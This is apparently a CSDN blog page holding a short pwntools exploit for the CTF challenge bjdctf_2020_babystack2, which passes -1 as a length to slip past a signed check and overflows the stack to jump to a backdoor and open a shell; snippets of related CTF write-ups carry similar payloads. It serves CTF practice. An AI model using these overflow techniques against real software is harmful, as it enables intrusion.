bjdctf 2020 babystack2

最新推荐文章于 2024-05-13 18:34:53 发布
最新推荐文章于 2024-05-13 18:34:53 发布
阅读量237 收藏
点赞数
分类专栏： pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/pondzhang/article/details/106221391
版权 
from pwn import *
p = process('./bjdctf_2020_babystack2')
p.sendlineafter("length of your name:\n","-1")
payload = 24*'a'+ p64(0x0000000000400893) + p64(0) + p64(0x0000000000400726)
p.sendlineafter("name?\n",payload)
p.interactive()
「已注销」
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[BJDCTF 2020]babystack2.0
llovewuzhengzi的博客
10-22 182
不存在file.plt[“backdoor”] plt是外部函数才有的 只能用file.symbol[“backdoor”]HIDWORD作用是取得某个8字节变量(即32位的值)在内存中处于高位的四个字节,即两个word长的数据。LODWORD作用是取得某个8字节变量(即32位的值)在内存中处于低位的四个字节,即两个word长的数据。用file.plt[“system”]不行，因为直接这样覆盖返回地址没有参数。IDA的栈不完全对，保存的ebp都没有显示，所以IDA只能参考。
NSSCTF PWN (入门)
农夫果园好好喝的博客
09-18 1643
这不是欺负老实人嘛~
[BJDCTF 2020]babystack2.0 CTF-PWN
最新发布
m0_72904009的博客
05-13 154
[BJDCTF 2020]babystack2.0 CTF-PWN
【BUUCTF】bjdctf_2020_babystack2
m0_51251108的博客
12-30 317
【BUUCTF】bjdctf_2020_babystack2 64位，无canary 有后门函数 这题思路就是用无符号和有符号整型来绕过10的比较 比如：送入一个-1，无符号类型会把它看成一个很大的正整数，是，而有符号则认为是-1 这题size_t是一种无符号整型，下面被强转成有符号，最后又强转成无符号 所以可以绕过 exp： from pwn import* r=remote('node3.buuoj.cn',29907) context.log_level = 'debug' backdoor=0
bjdctf_2020_babystack2
m0sway的博客
04-04 389
bjdctf_2020_babystack2 WriteUp BUU_PWN
[buuctf]bjdctf_2020_babystack
逆向萌新的博客
06-19 666
[buuctf]bjdctf_2020_babystack
亚信java笔试题-BJDCTF2020_March:本届BJDCTF由江苏科技大学、北京工业大学、西南民族大学、杭州师范大学、江苏大学、湖南
06-03
BJDCTF2020_March 本届BJDCTF由江苏科技大学、北京工业大学、西南民族大学、杭州师范大学、 江苏大学、湖南工业大学（排名不分先后）联合举办 Notes:web题目easyaspnet需要在windows server 2016 docker native ...
BJDCTF 2nd writeup(二)
01-21
文章目录Misc[BJDCTF 2nd]A_Beautiful_Picture[BJDCTF 2nd]小姐姐-y1ng[BJDCTF 2nd]TARGZ-y1ng[BJDCTF 2nd]Imagin – 开场曲Crypto[BJDCTF 2nd]cat_flag[BJDCTF 2nd]燕言燕语[BJDCTF 2nd]Y1nglish Misc [BJDCTF 2nd]...
BJDCTF 2nd–TARGZ
12-21
审题,tar没用,不需要爆破 下载附件得到tar.gz压缩包 查看16进制的时候发现是PK的头,对应的题目的提示tar不好使(就是不tar压缩的) ...发现可以解压但是得到的还是压缩包,继续重复操作… 当时我解了半小时(时间沉dedao...
justCTF-2020:justCTF 2020
05-24
2. 掌握HTML标签的正确使用，避免引入潜在的安全风险。 3. 熟悉DOM操作和相关的安全攻击，如DOM XSS。 4. 学习如何检测和防范XSS、CSRF等常见Web安全问题。 5. 了解不同浏览器和HTML版本之间的差异，以应对可能的...
CTF buuoj pwn-----第10题: bjdctf_2020_babystack
热门推荐
bing_Max的博客
09-28 2万+
思路 本体有后门函数, 最简单的是直接调用. 这里想用一下system函数,一开始忘了是32位的,写了个payload_1 = b’a’*(0x10+8) + p64(system_addr)+p64(1)+p64(binsh_addr) 显然不成功 后来反映过来, 写了payload_1 = b’a’*(0x10+8) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr),成功获取flag 编写exp from pwn import * con
【CTF】bjdctf_2020_babystack2
凉水的博客
06-30 616
bjdctf_2020_babystack2
【CTF】BUUCTF-bjdctf_2020_babystack1
weixin_53394081的博客
03-06 381
PWN
【CTF】bjdctf_2020_babystack 1
凉水的博客
01-21 1277
解题思路: 1 先反编译： undefined8 main(void) { undefined local_18 [12]; uint local_c; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,1,0); local_c = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *
bjdctf_2020_babystack
z1r0的博客
12-04 232
bjdctf_2020_babystack 查看保护 可以控制size，所以想怎么pwn就怎么pwn，ret2text。 from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn', 27112) else: r = process(file_name) elf
bjdctf2020 babystack
pondzhang的专栏
05-08 347
from pwn import * p = process('./bjdctf_2020_babystack') p.recvuntil("length of your name:\n") p.sendline('1024') p.recvuntil("What's u name?\n") payload = 'a'*12 + p32(1024) + 'a'*8 + p64(0x000000000...
ez_pz_hackover_2016
pondzhang的专栏
05-12 315
测试栈溢出偏移量 from pwn import * p = process('./ez_pz_hackover_2016') libc = ELF('/lib/i386-linux-gnu/libc.so.6') elf = ELF('./ez_pz_hackover_2016') context.log_level = 'debug' context.arch = elf.arch payload = 'crashme\x00' + 'aaaabaaacaaadaaaeaaafaaagaaahaaai
RoarCTF2019 RSA
pondzhang的专栏
05-16 1233
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x p=next_prime(z*x*y) q=next_prime(z) A = 26833491826787145242474695127934760098610147810049249054841274803081613777681928680615618865770486464323821289608814874634274141761144868858306939594049897432291035169244325
bugku-web-入门
PLpa的博客
06-07 839
前言： 两个月前做完bugku的web入门题，一直没有什么时间总结，最近又在做buuctf的pwn题，抽出一点时间总结一下web。 1.web2 出来一张图片，我没直接F12，就能看到注释了的flag。 2.计算器 原本框中只能输入一位，我们F12后，改写js代码，输入正确结果即可得到flag。 3.web基础$_GET 题目给了php源代码，我们发现只要what为flag就可以得到flag了，所以我们就让what=flag。 4.web基础$_POST 与上题一样是给what传值，不过这次用的是PO
[BJDCTF2020]RSA
08-11
RSA（Rivest-Shamir-Adleman）是一种非对称加密算法，常用于数据加密和数字签名。...在BJDCTF2020中，RSA可能是一个题目或者提到的某个技术细节。若有具体问题或需要更多信息，请提供详细内容以便我能够帮助你更好。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值